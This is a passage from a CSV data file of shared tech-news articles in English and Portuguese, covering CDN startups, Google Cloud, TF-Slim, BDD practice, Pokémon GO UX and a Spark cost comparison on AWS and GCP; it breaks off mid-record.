1472566463,CONTENT SHARED,-1249582672736761858,-1032019229384696495,-5338172329180262716,,,,HTML,https://techcrunch.com/2016/08/30/greta/,Sweden's Greta wants to disrupt the multi-billion dollar CDN market,"Swedish startup Greta is on a somewhat quiet mission to disrupt the multi-billion dollar Content Delivery Network (CDN) market. The young company already boasts an impressive list of angel investors - including Jan Erik Solem (founder Polar Rose and Mapillary), Hampus Jakobsson (founder TAT and Brisk), and Jeremy Yap (recently awarded best angel investor at The Europas) - and now TechCrunch has learned that new VC BlueYard Capital has also become a backer. The Berlin-based VC has led a $1.1 million seed round in Greta, while Sophia Bendz, previously Global Director of Marketing at Spotify and now Executive in Residence at VC Atomico, also joins the lists of investors. I also understand that it was BlueYard's investment thesis, which talks about the ""decentralisation of markets"" and ""democratisation of capabilities"", that first brought the VC to Greta's attention. ""We had other VCs who wanted to get in on the round but we decided to go with BlueYard as the only institutional investor at this stage as our primary aim wasn't to secure funding but rather to get access to BlueYards' knowledge and global network,"" Anna Ottosson, CEO and co-founder of Geta, tells me. ""We were really determined on not raising our seed round until end of this year, but when we met with Jason Whitmire, partner at BlueYard for the first time we got extremely intrigued by their thesis and how they looked at the world. They have already proven that they're willing to take bold bets on technology startups and that they're serious about their mission to upgrade the internet, which is very much in line with our vision for Greta"". Launched late last year, Greta has developed tech that is able to calculate the most efficient route for site content, such as images and video, and deliver it via traditional server and CDN providers or Greta's own peer-to-peer solution, based on whichever of the two will provide the best experience for end users. ""The problem we're solving is that it's difficult for companies to provide their end users with sufficient site performance, meaning that companies are losing out on potential revenue as well as consumers having to suffer through buffering videos and wasting their time waiting for slow sites to load,"" says Ottosson. ""Furthermore, it's often at the most critical times that it is the most difficult to deliver good site performance to your users, as an increase in number of concurrent site visitors often increases the risk of this type of performance issues,"" she adds. Those critical times might be a video streaming service during an important live sports event, an e-commerce company launching a new campaign or a news site breaking its biggest scoop of the year. Or even a startup reaching number one on something like Hacker News and crashing due to high server load. And that's where Greta one line of javascript comes into play. ""When Greta's script is added to a site, the site's traffic will be analyzed in real time, and within a few hours Greta will start suggesting site specific actions to improve your site performance, such as switching CDN in a specific region, or turning on Greta's own peer-to-peer solution,"" explains Ottosson. ""Greta's peer-to-peer solution is based on webRTC and enables peer-to-peer content delivery directly in the browser, meaning that performance issues such as video buffering and slow or crashing sites can be avoided, especially during heavy traffic. Greta will always optimize for providing the end users with the best user experience possible"". Meanwhile, the fact that Greta is able to switch to browser-based P2P content delivery, without requiring the end user to explicitly download and install any extra software (presuming their browser supports webRTC), means that site and media streaming improvement can happen in regions where there might not be close proximity to existing CDN networks, such as in Africa or the Middle East. Adds Ottosson: ""Traditional CDNs are restrained by building physical infrastructure,, which Greta is not, meaning that they have to build out their network in order to provide their customers with better performance. The existing CDN infrastructure is heavily concentrated to Western Europe and North America, with very limited infrastructure in regions such as the Middle East and Africa where internet traffic is growing with over 40 per cent year on year"".",en
1472566708,CONTENT SHARED,-5044204125574973395,3829784524040647339,-5600479164389645980,,,,HTML,"http://link.estadao.com.br/noticias/gadget,samsung-lanca-dispositivo-para-deixar-carro-conectado-a-partir-de-chip-4g,10000071168",Samsung lança dispositivo para deixar carro conectado a partir de chip 4G - Link - Estadão,"A Samsung lançou, durante a última semana, uma série de acessórios para acompanhar a chegada ao mercado norte-americano de seu mais recente smartphone, o Galaxy Note 7. Entre fones de ouvido e uma versão melhorada dos óculos de realidade virtual Gear VR, um dispositivo se destaca: o Connect Auto. Parecido com um pendrive ou um adaptador de tomada, o dispositivo poderá ser utilizado em qualquer carro para conectar o veículo, a partir de um chip habilitado para transmitir dados via redes 4G. Para funcionar, o dispositivo deve ser conectado à porta OBD II - utilizada nos carros dos últimos 20 anos para fornecer dados sobre o automóvel de forma eletrônica. Com isso, o Connect Auto consegue receber informações do veículo, e enviá-las para o usuário. Anunciado em fevereiro, o Connect Auto consegue disponbilizar sinal de Wi-Fi para até 10 dispositivos, desde que tenha um chip 4G em seu interior. Por enquanto, o aparelho está sendo vendido nos EUA exclusivamente para usuários da operadora AT&T - o preço varia de acordo com o plano contratado, mas o preço cheio do dispositivo é de US$ 109. Ainda não há previsão para o lançamento no Brasil.",pt
1472573354,CONTENT SHARED,7508152369854945139,-1387464358334758758,4589069099894325652,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/08/introducing-casting-into-hangouts.html,Introducing Casting into Hangouts,"Google offers its Google Apps customers useful and simple-to-use video chat features to make communication better. Whether communicating changes to remote teams, presenting demos to stakeholders, or just getting things done quicker in real time, screen sharing is an effective way to present content to your audience. That's why we're excited to roll out a new integration between Google Chrome and Google Hangouts that makes screen sharing from your Chrome browser to a Google Hangout easier than ever before. With this launch, signed-in Chrome users on Chrome 52 or higher will be able to use the ""Cast..."" menu item from Chrome to share the contents of a browser tab or their entire desktop into a Hangout. Hangouts that are scheduled on the user's Google Calendar are shown automatically, but they can also be joined manually using the ""Search"" text box. Google Cast does not need to be installed on the user's machine, as this is now natively available in Chrome 52 or higher. We hope this makes the feature easier to roll out to users, allowing screen sharing to be just 1-2 clicks away. Launch Details Release track: Launching to both Rapid release and Scheduled release Rollout pace: Full rollout (1-3 days for feature visibility) Impact: All end users on Chrome 52 Action: Change management suggested/FYI Note: all launches are applicable to all Google Apps editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1472576285,CONTENT SHARED,2394847196776462305,3891637997717104548,-7194697704865980890,,,,HTML,https://www.infoq.com/br/news/2013/09/mvp-aprendizado-inteligente,MVP = aprendizado inteligente,"Criar um produto mínimo viável (MVP) não se trata de criar uma versão menor ou mais barata do produto, mas sim de conseguir dar início ao processo de aprendizado e testes do modelo de negócio. Em um recente artigo de Steve Blank , é dado um exemplo de uma pequena startup de Stanford que confundiu o objetivo do MVP com a necessidade de se construir um protótipo caro. O plano era se tornar um provedor de dados em um mercado emergente, a agricultura de precisão . Fazendas seriam visitadas semanalmente com robôs voadores que coletariam e processariam os dados, os quais depois seriam entregues aos fazendeiros em um formato de fácil compreensão. A equipe realizou pesquisas e, com base no feedback obtido, confirmou que os fazendeiros viam, teoricamente, valor nas informações que o projeto poderia oferecer. A equipe então partiu para o próximo passo: levantar dinheiro para criar um MVP. Steve Blank explica: A ideia da equipe era que o MVP precisaria: 1) Demonstrar um robô capaz de voar; 2) Garantir que o software poderia processar corretamente todas as imagens do campo; 3) Apresentar os dados para o fazendeiro de uma forma útil. A equipe concluiu que a maneira de fazer isso seria comprando um robô, uma câmera hiperespectral, e um software de processamento de imagens, além de gastar meses da equipe de engenharia integrando a câmera, a plataforma e o software. O orçamento era extremamente limitado para fazer tudo isso. Era lógico - mas errado. A equipe confundiu o objetivo do MVP (a descoberta do cliente), com o processo de construir um protótipo. Blank propôs uma alternativa mais barata para a equipe, que iria cumprir melhor o objetivo do MVP: encontrar usuários iniciais dispostos a pagar pelos dados. Não seria mais barato alugar uma câmera e um avião ou helicóptero, voar sobre as plantações das fazendas, processar manualmente os dados e verificar se os fazendeiros pagariam por esses dados? Não seria possível fazer isso em um dia ou dois, por uma fração do custo planejado? A sugestão de Blank fez a equipe rever sua abordagem e a repensar o que o MVP precisaria testar. Foi mudado o foco inicial. Em vez de construir um protótipo do produto, o objetivo seria entender o que era possível aprender com o MVP. Como se posicionavam como companhia provedora de dados, precisavam de um MVP que provasse que as informações oferecidas tinham valor real antes de gastar tempo e dinheiro: Isso significava que todo o trabalho de comprar um robô voador, câmera, software e o tempo gasto integrando tudo era desperdício naquele momento. Não era necessário testar nada daquilo agora. Haviam definido o MVP errado. Ao mostrar um exemplo de equipe fazendo o que a maioria das pessoas pressupõem ser um MVP, Blank demonstra um equívoco que tem se tornado sinônimo desse conceito: a necessidade de construir uma versão barata do produto e entregá-la para potenciais consumidores. Por exemplo, John Burgstone afirma num artigo : Os princípios do Lean Startup encorajam empreendedores a introduzir seus produtos no mercado rapidamente e aprender com o feedback dos clientes. Aprender com os clientes é de importância imensa, mas ir para o mercado com um produto medíocre pode ser uma loucura. No entanto, como Eric Ries especificamente aponta nos princípios do Lean Startup, ""O primeiro passo é descobrir o problema que precisa ser resolvido e depois desenvolver um produto mínimo viável para começar o processo de aprendizado o mais rápido possível"". É um conceito em que muitas equipes erram, já que focam em construir rapidamente um produto para receber feedback, o oposto de criar um MVP para começar a aprender. Nos primeiros estágios de aprendizado, pode nem mesmo ser necessário escrever uma única linha de código, como explica Ries no seu artigo na TechCrunch sobre como o DropBox usou um MVP para aprender: O desafio era a impossibilidade de se demonstrar o software funcionando na forma de um protótipo. O produto exigia que uma grande dificuldade técnica fosse superada. Também possuía um componente online que demandava alta disponibilidade e confiabilidade. Para evitar o risco de, após anos de desenvolvimento, aparecer com um produto que ninguém queria, Drew fez uma coisa surpreendentemente simples: um vídeo. O artigo de Blank conclui seu exemplo com a equipe repensando seu MVP com o objetivo de aprender se havia a possibilidade de se obter um produto viável rapidamente e sem despender dinheiro desnecessariamente. Blank apresenta as principais lições aprendidas com a equipe: O mínimo produto viável nem sempre é uma versão menor ou mais barata do seu produto final; Considere soluções de baixo custo para testar o objetivo; Grandes empreendedores não perdem o foco no resultado final.",pt
1472580875,CONTENT SHARED,8844011188151156774,-1443636648652872475,7958468253808635332,,,,HTML,https://research.googleblog.com/2016/08/tf-slim-high-level-library-to-define.html,TF-Slim: A high level library to define complex models in TensorFlow,"Earlier this year, we released a TensorFlow implementation of a state-of-the-art image classification model known as Inception-V3 . This code allowed users to train the model on the ImageNet classification dataset via synchronized gradient descent, using either a single local machine or a cluster of machines. The Inception-V3 model was built on an experimental TensorFlow library called TF-Slim , a lightweight package for defining, training and evaluating models in TensorFlow. The TF-Slim library provides common abstractions which enable users to define models quickly and concisely, while keeping the model architecture transparent and its hyperparameters explicit. Since that release, TF-Slim has grown substantially, with many types of layers , loss functions , and evaluation metrics added, along with handy routines for training and evaluating models. These routines take care of all the details you need to worry about when working at scale, such as reading data in parallel, deploying models on multiple machines, and more. Additionally, we have created the TF-Slim Image Models library , which provides definitions and training scripts for many widely used image classification models, using standard datasets. TF-Slim and its components are already widely used within Google, and many of these improvements have already been integrated into tf.contrib.slim . Today, we are proud to share the latest release of TF-Slim with the TF community. Some highlights of this release include: Many new kinds of layers (such as Atrous Convolution and Deconvolution ) enabling a much richer family of neural network architectures. Support for more loss functions and evaluation metrics (e.g., mAP, IoU). A deployment library to make it easier to perform synchronous or asynchronous training using multiple GPUs/CPUs, on the same machine or on multiple machines. Code to define and train many widely used image classification models (e.g., Inception [1][2][3] , VGG [4] , AlexNet [5] , ResNet [6] ). Pre-trained model weights for the above image classification models. These models have been trained on the ImageNet classification dataset , but can be used for many other computer vision tasks. As a simple example, we provide code to fine-tune these classifiers to a new set of output labels. Tools to easily process standard image datasets, such as ImageNet , CIFAR10 and MNIST . Want to get started using TF-Slim? See the README for details. Interested in working with image classification models? See these instructions or this Jupyter notebook . The release of the TF-Slim library and the pre-trained model zoo has been the result of widespread collaboration within Google Research. In particular we want to highlight the vital contributions of the following researchers: TF-Slim: Sergio Guadarrama, Nathan Silberman. Model Definitions and Checkpoints: Christian Szegedy, Sergey Ioffe, Vincent Vanhoucke, Jon Shlens, Zbigniew Wojna, Vivek Rathod, George Papandreou, Alex Alemi Systems Infrastructure: Jon Shlens, Matthieu Devin, Martin Wicke Jupyter notebook: Nathan Silberman, Kevin Murphy References: [1] Going deeper with convolutions , Christian Szegedy, Wei Liu, Yangqing Jia, Pierre Sermanet, Scott Reed, Dragomir Anguelov, Dumitru Erhan, Vincent Vanhoucke, Andrew Rabinovich, CVPR 2015 [2] Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift Sergey Ioffe, Christian Szegedy, ICML 2015 [3] Rethinking the Inception Architecture for Computer Vision , Christian Szegedy, Vincent Vanhoucke, Sergey Ioffe, Jonathon Shlens, Zbigniew Wojna, arXiv technical report 2015 [4] Very Deep Convolutional Networks for Large-Scale Image Recognition , Karen Simonyan, Andrew Zisserman, ICLR 2015 [5] ImageNet Classification with Deep Convolutional Neural Networks , Alex Krizhevsky, Ilya Sutskever, Geoffrey E. Hinton, NIPS 2012 [6] Deep Residual Learning for Image Recognition , Kaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun, CVPR 2016",en
1472606340,CONTENT SHARED,-5488842573681626972,-4465926797008424436,4923575442991716043,,,,HTML,http://www.testingexcellence.com/bdd-guidelines-best-practices/,BDD Best Practices and Guidelines - Testing Excellence,"BDD Best Practices BDD Introduction BDD (Behaviour Driven Development) is a methodology for developing software through continuous example-based communication between developers, QAs and BAs. In this article we discuss some BDD Best Practices to get the most benefit. More than anything else, the primary purpose of BDD methodology is to encourage communication amongst the stakeholders of the project so that the context of each feature is correctly understood by all members of the team (i.e. shared understanding), before development work starts. This helps in identifying key scenarios for each story and also eradicate ambiguities from requirements. In BDD, Examples are called Scenarios. Scenarios are structured around the Context-Action-Outcome pattern and are written in a special format called Gherkin . The scenarios are a way of explaining (in plain english) how a given feature should behave in different situations or with different input parameters. Because Gherkin is structural, it serves both as a specification and input into automated tests, hence the name ""Executable Specifications"". What is a feature file and what does it contain Feature files are text files with .feature extension, which can be opened by any text editor as well as readable by any BDD-aware tool, such as Cucumber, JBehave or Behat. Feature files should start with the context of the feature (which is essentially the story), followed by at least one scenario in the following format Feature: Some terse yet descriptive text of what is desired In order to realize a named business value As an explicit system actor I want to gain some beneficial outcome which furthers the goal Scenario: Some determinable business situation Given some precondition And some other precondition When some action by the actor And some other action And yet another action Then some testable outcome is achieved And something else we can check happens too Scenarios in feature files should focus on the ""what"" rather than the ""how"". The scenarios should be concise and to the point, so that the reader can quickly grasp the intent of the test without having to read a lot of irrelevant steps. Why should we write feature files As mentioned before, the primary aim of the BDD methodology is to encourage communication amongst the delivery team. The aim of the feature files is to document the scenarios talked through in order to give an indication of how much work is involved in delivering the feature. The feature files are also the drivers for the automated tests. Feature files also serve as a definition of done (DoD), meaning that when all the scenarios have been implemented and tested successfully, we can mark the story as done. Who should write feature files It doesn't really matter who actually writes/types the feature files, it could be any member of the delivery team, however, the contents (scenarios) which are discussed by a trio of Dev-QA-BA are the essential part of feature files. Getting the shared common understanding of the feature is the key element. When should feature files be written Feature files should be written during the story grooming sessions where the details of each story is discussed. Feature files containing scenarios should be written before development starts so that developers as well as QA have a clear understanding of the intent of the story. There should be a shared understanding of the story. The scenarios serve as requirements to development. Where should feature files be kept There should be one source of truth serving both as specification and automated execution, therefore should be kept somewhere where every member of the team has easy access. Having said that, because the feature files are the drivers of the automated tests, they should ideally be kept in source control system (GitHub) so that any updates to the feature files is immediately reflected on to the tests. For non-technical members who have no experience with Git, we can always execute a dry-run of the feature files which will then output the list of all existing scenarios without actually exercising the feature files. How should we write feature files There are generally two ways of writing feature files - Imperative and Declarative Imperative style of writing a feature file, is very verbose, contains low level details and too much information. Pros: person reading the feature file can follow the step-by-step Cons: Because of too much detail, the reader can lose the point of the story and the tests. The feature file becomes too big, difficult to maintain and likely to fail due to UI updates. Declarative style of writing a feature file is concise and to the point, contains only relevant information about the story. Pros: The declarative style is more readable as it contains less steps in the scenario. The reader can easily understand the scope of the test and quickly identify if any key elements are missing.",en
1472612022,CONTENT SHARED,9042192299854648021,-1032019229384696495,-7722399387279263781,,,,HTML,https://www.thestreet.com/story/13689830/1/google-s-cloud-platform-is-now-a-force-to-be-reckoned-with.html,Google's cloud platform is now a force to be reckoned with,"Though the Google Cloud Platform (GCP) isn't as large and doesn't get as much publicity as Amazon Web Services (AWS) and Microsoft Azure, it's quickly putting its larger rivals on notice with a series of impressive customer wins. And the big investments Alphabet ( GOOGL ) is making in GCP should yield additional big deals in the coming months. CNBC reported this morning Google is ""the front-runner"" to land PayPal ( PYPL ) as a cloud infrastructure client. The online payments giants currently relies heavily on its own infrastructure, but has tapped AWS to provide services for its Braintree and Venmo units. Alphabet and PayPal are holdings in Jim Cramer's Action Alerts PLUS Charitable Trust Portfolio . Want to be alerted before Cramer buys or sells GOOGL or PYPL? Learn more now . The report comes five months after it was learned Apple has begun using GCP to help power iCloud services -- Apple's cloud services also rely on AWS and Azure, as well as the company's own infrastructure. Not long before that, Spotify announced it's migrating its infrastructure to GCP. Other big Google cloud clients include Snapchat, Best Buy ( BBY ) and (thanks to the fact the company is a Google spinoff) Pokémon Go developer Niantic. PayPal's size alone would make it one of Google's most impressive cloud wins -- the company handled $81.5 billion worth of transactions in 2015 (up 23% annually), and claimed 188 million active customer accounts as of the second quarter.",en
1472658664,CONTENT SHARED,-78422372027822130,-2525380383541287600,5344641861395974245,,,,HTML,http://imasters.com.br/design-ux/pokemon-go-e-o-impacto-na-experiencia-do-usuario/?trace=1519021197&source=single,Pokémon GO e o impacto na experiência do usuário -,"Todo mundo já ouviu falar sobre Pokémon Go e sua rápida e espetacular ascensão ao topo do mundo dos apps. Para um game baseado em um antigo jogo de Gameboy da década de 90 e um seriado de TV, ele teve um apelo universal surpreendente - crianças e avós, hipsters e executivos, todos abraçaram a ideia. No seu auge, o aplicativo tinha 25 milhões de usuários ativos . Além do objetivo final de introduzir a realidade aumentada para o público geral, esse aplicativo é um ponto de mudança significativo para aqueles que trabalham com o design de experiência do usuário. Pouco a pouco, o mundo tornou-se mais consciente do impacto do design de UX no dia a dia e nos produtos. Os nossos esforços para proporcionar melhores experiências de usuário têm sido reconhecidos, e os designers de UX são agora considerados uma parte integrante na maioria das empresas. O design de experiência do usuário também mudou de um ambiente predominante de desktop para dispositivos móveis, assim como a demanda dos usuários por uma maior mobilidade nos seus produtos. Os clientes também têm notado essa mudança, e isso elevou suas expectativas de quais produtos e serviços estão em oferta. O Pokémon Go elevou essa concepção ainda mais. Designers de UX estão acostumados a ajustar novas informações, mas um grande fenômeno como esse não surge todos os dias, especialmente um que nos impacta diretamente. Esta é uma grande oportunidade para fazermos mudanças novas e inovadoras em nossos locais de trabalho, mas também existem armadilhas para as quais devemos ficar atentos sobre a maneira como nós nos movemos para uma nova era de desenvolvimento de aplicativos. Aqui estão algumas das mudanças que estão no horizonte. User Experience no mundo, mas filtrada através de uma tela A tela principal do Pokémon Go é vista através do seu celular. Seu avatar se move em torno de um mapa virtual do mundo real, com PokéStops, iscas e ginásios espalhados por ele. Esse mapa reflete seu ambiente do mundo real, mas não exige que você se envolva ativamente, a menos que queira. No entanto, quando você encontra um Pokémon no aplicativo e clica sobre ele, você muda para outra tela na qual um Pokémon está de pé em uma versão melhorada da sua câmera do celular, pronto para ser apanhado. Essa é a realidade aumentada, que permite que as pessoas interajam com o jogo e o mundo real ao mesmo tempo. Fonte: stux As implicações de realidade aumentada são enormes. Pokémon Go é um jogo, ainda que muito viciante, mas ele levanta a questão do que vai acontecer quando a tecnologia empregada espalhar para outras aplicações. E o que dizer sobre a sobreposição das direções do Google Maps com a estrada real? Imagine passar por uma loja e ver as vendas online exibidas em sua janela física? Abrir a geladeira e ver a nossa lista de compras, dizendo-nos o que está faltando? Integrar dados virtuais ao mundo real, em tempo real, foi considerado algo de um futuro distante, mas estamos vivenciando isso atualmente. Já existem alguns aplicativos que fazem isso, mas o Pokémon Go vai ajudar a chamar a atenção do público para esses desenvolvimentos. Nós provavelmente veremos um influxo de aplicativos de realidade aumentada - mas tome cuidado para não saltar no movimento muito rapidamente. Nem todos os aplicativos se beneficiariam com o tratamento da realidade aumentada e, como estamos vendo com o Pokémon Go, a implantação de um aplicativo não refinado e que tem vários erros acaba por afastar os usuários. O conselho de ouro aqui é: não use uma tecnologia apenas por usá-la . Portanto, nesse caso, não utilize realidade aumentada apenas para usar a realidade aumentada - utilize-a quando ela realmente for útil para o público do seu app. Tolerância dos usuários para bugs vs Empolgação com a nova experiência Pokémon Go é emocionante e divertido e é a maior novidade, mas você encontrará pessoas que o descreverão como lento, frustrante e bugado frequentemente. Ele foi lançado rapidamente, hackeado ainda mais rapidamente para permitir que os usuários de fora dos EUA pudessem jogar antes do tempo e, por isso, o servidor teve problemas desde então. Enquanto o uso caiu, o número de usuários continua a crescer. Isso parece ir contra as regras habituais do design de UX - trabalhar bem os bugs antes do lançamento, verificar se os servidores podem lidar com um afluxo de usuários e manter os erros ao mínimo. O que torna o Pokémon Go diferente? A resposta é simples e complicada. A resposta simples é que esse é um novo e inovador jogo com um grande fator de nostalgia que introduziu as pessoas à realidade aumentada dentro de jogos sociais mobile. Como todos os jogos populares, o Pokémon Go faz uso de alguns ganchos comuns de jogos , tais como o objetivo de encontrar um Pokémon particularmente raro, o que leva as pessoas a jogá-lo com frequência. Isso tudo foi feito ao mesmo tempo. Quando as pessoas estão experimentando um novo produto que está fora do seu domínio de experiências, a emoção tende a esconder as falhas do produto novo. Sua suposição seria a de que parte dos erros acontecem devido à sua própria inexperiência, o que leva aos problemas. Os seres humanos têm uma alta tolerância a falhas e defeitos, mas apenas quando se trata de outros seres humanos (veja a maioria dos novos relacionamentos). Esperamos muito mais precisão de computadores e da tecnologia , e ficamos irritados quando eles falham. O Pokémon Go atravessa a linha entre a tecnologia e o mundo real, o que aumenta os níveis de tolerância, mas não indefinidamente. A resposta complicada é que uma convergência de todos esses aspectos - nova tecnologia, nova experiência, o envolvimento humano e ganchos - são difíceis de conseguir de uma vez. Há definitivamente um elemento de sorte envolvido e ainda estamos tentando descobrir a mecânica de como fazer produtos se tornarem virais. No entanto, isso não significa que não podemos nos esforçar para fazermos produtos que sejam inovadores, sociáveis e que contenham bons ganchos. Uma coisa que nós não devemos fazer é criar um app pensando nos usuários tolerantes a bugs. Esse é o caminho errado a se tomar, não importa o quão tentador possa parecer. Encorajamento social: o pêndulo que vai e volta Uma das tendências mais preocupantes nos últimos tempos tem sido o isolamento das pessoas como resultado do desenvolvimento da tecnologia. Menos pessoas têm interagido com outras pessoas, preferindo, por exemplo, mensagens de texto ao invés de uma reunião física. A tecnologia afeta até mesmo as interações interpessoais: você vê frequentemente em restaurantes ou salas de aula, onde as pessoas estão imersas em seus telefones ou tablets. Entre no Pokémon Go. A paisagem virtual mudou, ela inclui mais pessoas e interações do mundo real. Sim, as pessoas ainda estão interagindo com seus telefones e outros dispositivos móveis, mas agora elas estão olhando para cima de seus dispositivos, falando e conversando com outros jogadores, mostrando suas coleções, ensinando aos outros como deixar iscas ou jogar Pokébolas, e se comunicando com estranhos. Isso teve um impacto tão grande que estamos vendo artigos médicos afirmando que o jogo tem ajudado pessoas que sofrem de saúde mental, humor, ansiedade social e depressão. As pessoas estão começando a almejar contato com outras pessoas de novas formas interessantes, e as melhores novas aplicações serão aquelas que satisfizerem esse desejo. A ""nova"" UX de realidade aumentada irá inclusive abordar a interação de várias pessoas ao mesmo tempo, incentivando as interações em tempo real, melhorando a comunicação, e explorará maneiras de construir encontros sociais fora da tela. Começando a pensar fora da tela agora Pokémon Go é apenas um passo na direção do futuro que a tecnologia está tomando. É um ponto de mudança, não um objetivo final. Ele abriu os olhos do público para as vastas possibilidades de jogos e aplicativos fora da tela. Nós temos uma oportunidade como designers de UX para construir sobre esse legado. Realidade aumentada, realidade virtual, e tecnologia wearable são as novas fronteiras, e há muito a explorar e melhorar em cada uma dessas áreas. Com o que nós contribuiremos para o futuro? Que novas inovações nós forneceremos para o público? Será que o nosso projeto será o próximo Pokémon Go? O mundo está assistindo e esperando para descobrir. É hora de afiar suas habilidades de design de UX e construir o futuro. UsabilityGeek é um blog de UX que faz a ponte entre pesquisa acadêmica e teórica e recomendações práticas e pessoais sobre como entregar uma ótima experiência de usuário. Eles convidam colaboradores e autores para oferecer um hub de dicas e insights de experts do setor. Esta tradução foi feita com autorização pela Redação iMasters. Você pode checar o original em: *** Mais Lidos da Última Semana",pt
1472661991,CONTENT SHARED,-3170829374166745427,3217014177234377440,-2018503359359058568,,,,HTML,http://www.businessinsider.com/how-to-negotiate-around-the-world-2016-8,[Article] 23 fascinating diagrams reveal how to negotiate with people around the world,"crossculture.com You can't expect negotiations with the French to be like negotiations with Americans, and the same holds true for every culture around the world. British linguist Richard D. Lewis charted communication patterns as well as leadership styles and cultural identities in his book, "" When Cultures Collide ,"" which is now in a third edition. His organization offers classes in cross-cultural communication for clients like Unilever and BMW. Although cultural generalizations can be overly reductive, Lewis, who speaks 10 languages, insists it can be done fairly. ""Determining national characteristics is treading a minefield of inaccurate assessment and surprising exception. There is, however, such a thing as a national norm,"" he writes. Scroll down to see Lewis' insights on negotiating with people around the world. Jenna Goudreau contributed reporting.",en
1472675664,CONTENT SHARED,1146823593746606655,-709287718034731589,-3721080720569917785,,,,HTML,http://www.macrumors.com/2016/08/31/apple-turi-new-machine-learning-division-hiring/,Apple Hiring for New Machine Learning Division Following Turi Acquisition,"Following its recent acquisition of Turi , a Seattle-based machine learning and artificial intelligence startup, a pair of new job listings reveal that Apple has spun the company into its new machine learning division. Apple is looking to hire data scientists and advanced applications developers , based in Seattle, who together will help build proof-of-concept apps for multiple Apple products to deliver new and improved user experiences where possible. Turi is the new machine learning division at Apple. We build tools that enable teams across Apple to develop machine learning solutions to power amazingly intelligent user experiences. We are looking for new energetic members to join our ML Applications team to collaborate with product teams on a variety of proof-of-concept projects. Many of those improvements driven by machine learning were highlighted in a recent profile about Apple's artificial intelligence efforts, including improved Siri accuracy, app suggestions, and several other examples: You see it when the phone identifies a caller who isn't in your contact list (but did email you recently). Or when you swipe on your screen to get a shortlist of the apps that you are most likely to open next. Or when you get a reminder of an appointment that you never got around to putting into your calendar. Or when a map location pops up for the hotel you've reserved, before you type it in. Or when the phone points you to where you parked your car, even though you never asked it to. These are all techniques either made possible or greatly enhanced by Apple's adoption of deep learning and neural nets. Apple is seeking data scientists with a minimum of 3 years experience with machine learning, with a focus on deep learning, natural language processing, image applications, recommenders, physical sensors, and signal processing. Turi was designed to help developers build apps with artificial intelligence capabilities that automatically scale. It developed the Turi Machine Learning Platform, GraphLab Create, and Turi Predictive Services, used for functions like recommendations, fraud detection, sentiment analysis, and more. Apple has expanded its presence in Seattle , so it is likely the new hires will accompany existing Turi employees that have remained in the area.",en
1472681840,CONTENT SHARED,1549650080907932816,-1443636648652872475,-8078959461925337655,,,,HTML,https://www.oreilly.com/ideas/spark-comparison-aws-vs-gcp,Spark comparison: AWS vs. GCP,"Hourglass comparison. (source: Pixabay ). Tianhui Michael Li and Ariel M'ndange-Pfupfu will lead a hands-on online course Oct 10, 12, and 14, 2016: Distributed Computing with Spark for Beginners . Instruction includes building functioning applications from end-to-end and mastering critical tooling around Spark. There's little doubt that cloud computing will play an important role in data science for the foreseeable future. The flexible, scalable, on-demand computing power available is an important resource, and as a result, there's a lot of competition between the providers of this service. Two of the biggest players in the space are Amazon Web Services (AWS) and Google Cloud Platform (GCP). This article includes a short comparison of distributed Spark workloads in AWS and GCP-both in terms of setup time and operating cost. We ran this experiment with our students at The Data Incubator, a big data training organization that helps companies hire top-notch data scientists and train their employees on the latest data science skills. Even with the efficiencies built into Spark, the cost and time of distributed workloads can be substantial, and we are always looking for the most efficient technologies so our students are learning the best and fastest tools. Submitting Spark jobs to the cloud Spark is a popular distributed computation engine that incorporates MapReduce-like aggregations into a more flexible, abstract framework. There are APIs for Python and Java, but writing applications in Spark's native Scala is preferable. That makes job submission simple, as you can package your application and all its dependencies into one JAR file. It's common to use Spark in conjunction with HDFS for distributed data storage, and YARN for cluster management; this makes Spark a perfect fit for AWS's Elastic MapReduce (EMR) clusters and GCP's Dataproc clusters. Both EMR and Dataproc clusters have HDFS and YARN preconfigured, with no extra work required. Configuring cloud services Managing data, clusters, and jobs from the command line is more scalable than using the web interface. For AWS, this means installing and using the command-line interface (cli). You'll have to set up your credentials beforehand as well as make a separate keypair for the EC2 instances that are used under the hood. You'll also need to set up roles-basically permissions-for both users (making sure they have sufficient rights) and EMR itself (usually running aws emr create-default-roles in the cli is good enough to get started). For GCP the process is more straightforward. If you install the Google Cloud SDK and sign in with your Google account, you should be able to do most things right off the bat. The thing to remember here is to enable the relevant APIs in the API Manager: Compute Engine, Dataproc, and Cloud Storage JSON. Once you have things set up to your liking, the fun part begins! Using commands like aws s3 cp or gsutil cp you can copy your data into the cloud. Once you have buckets set up for your inputs, outputs, and anything else you might need, running your app is as easy as starting up a cluster and submitting the JAR file. Make sure you know where the logs are kept-it can be tricky to track down problems or bugs in a cloud environment. You get what you pay for When it comes to cost, Google's service is more affordable in several ways. First, the raw cost of purchasing computing power is cheaper. Running a Google Compute Engine machine with 4 vCPUs and 15 GB of RAM will run you $0.20 every hour, or $0.24 with Dataproc. An identically-specced AWS instance will cost you $0.336 per hour running EMR. The second factor to consider is the granularity of the billing. AWS charges by the hour, so you pay the full rate even if your job takes 15 minutes. GCP charges by the minute, with a 10-minute minimum charge. This ends up being a huge difference in cost in a lot of use cases. Both services have various other discounts. You can effectively bid on spare cloud capacity with AWS's spot instances or GCP's preemptible instances. These will be cheaper than dedicated, on-demand instances, but they're not guaranteed to be available. Discounted rates are available on GCP if your instances live for long periods of time (25% to 100% of the month). On AWS, paying some of the costs upfront or buying in bulk can save you some money. The bottom line is, if you're a power user and you use cloud computing on a regular or even constant basis, you'll need to delve deeper and perform your own calculations. Lastly, the costs for new users wanting to try out these services are lower for GCP. They offer a 60-day free trial with $300 in credit to use however you want. AWS only offers a free tier where certain services are free to a certain point or discounted, so you will end up paying to run Spark jobs.This means that if you want to test out Spark for the first time, you'll have more freedom to do what you want on GCP without worrying about price. Performance comparison We set up a trial to compare the performance and cost of a typical Spark workload. The trial used clusters with one master and five core instances of AWS's m3.xlarge and GCP's n1-standard-4 . They differ slightly in specification, but the number of virtual cores and amount of memory is the same. In fact, they behaved almost identically when it came to job execution time. The job itself involved parsing, filtering, joining, and aggregating data from the publicly available Stack Exchange Data Dump . We ran the same JAR on a ~50M subset of the data ( Cross Validated ) and then on the full ~9.5G data set. Figure 1. Credit: Michael Li and Ariel M'ndange-Pfupfu. Figure 2. Credit: 